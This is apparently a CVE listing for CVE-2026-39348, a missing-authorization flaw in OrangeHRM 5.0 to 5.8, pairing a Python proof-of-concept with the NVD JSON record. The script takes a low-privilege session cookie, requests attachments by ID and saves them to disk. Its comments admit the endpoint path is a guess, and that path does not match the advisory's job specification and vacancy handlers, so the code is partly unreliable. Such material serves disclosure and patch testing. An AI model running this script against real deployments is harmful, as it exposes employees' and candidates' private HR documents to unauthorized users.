CVE-2026-39348

# PoC for CVE-2026-39348: IDOR in OrangeHRM Attachment Download # Description: Exploits missing authorization check to download attachments by ID. import requests def exploit_orangehrm_idor(target_url, session_cookie, attachment_id): """ Attempts to download an attachment using a low-privilege session. """ # The vulnerable endpoint might be similar to this structure based on the advisory # Note: The exact endpoint path needs to be verified against the specific version url = f"{target_url}/index.php/recruitment/viewCandidateAttachment/{attachment_id}" headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.get(url, headers=headers) if response.status_code == 200: print(f"[+] Successfully downloaded attachment ID: {attachment_id}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # Save the file with open(f"attachment_{attachment_id}", "wb") as f: f.write(response.content) return True else: print(f"[-] Failed to download. Status code: {response.status_code}") return False except Exception as e: print(f"[-] Error: {e}") return False # Example usage # target = "http://localhost/orangehrm" # cookie = "PHPSESSID=attacker_session_id_here" # exploit_orangehrm_idor(target, cookie, 1)

{"cve": {"id": "CVE-2026-39348", "sourceIdentifier": "[email protected]", "published": "2026-04-07T19:16:45.923", "lastModified": "2026-04-10T19:33:25.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OrangeHRM is a comprehensive human resource management (HRM) system. From 5.0 to 5.8, OrangeHRM Open Source omits authorization on job specification and vacancy attachment download handlers, allowing authenticated low-privilege users to read attachments via direct reference to attachment identifiers. This vulnerability is fixed in 5.8.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.8.1", "matchCriteriaId": "804C1EE9-4D17-4056-B3D6-1BDB9F0BB026"}]}]}], "references": [{"url": "https://github.com/orangehrm/orangehrm/security/advisories/GHSA-mm39-mv56-754r", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}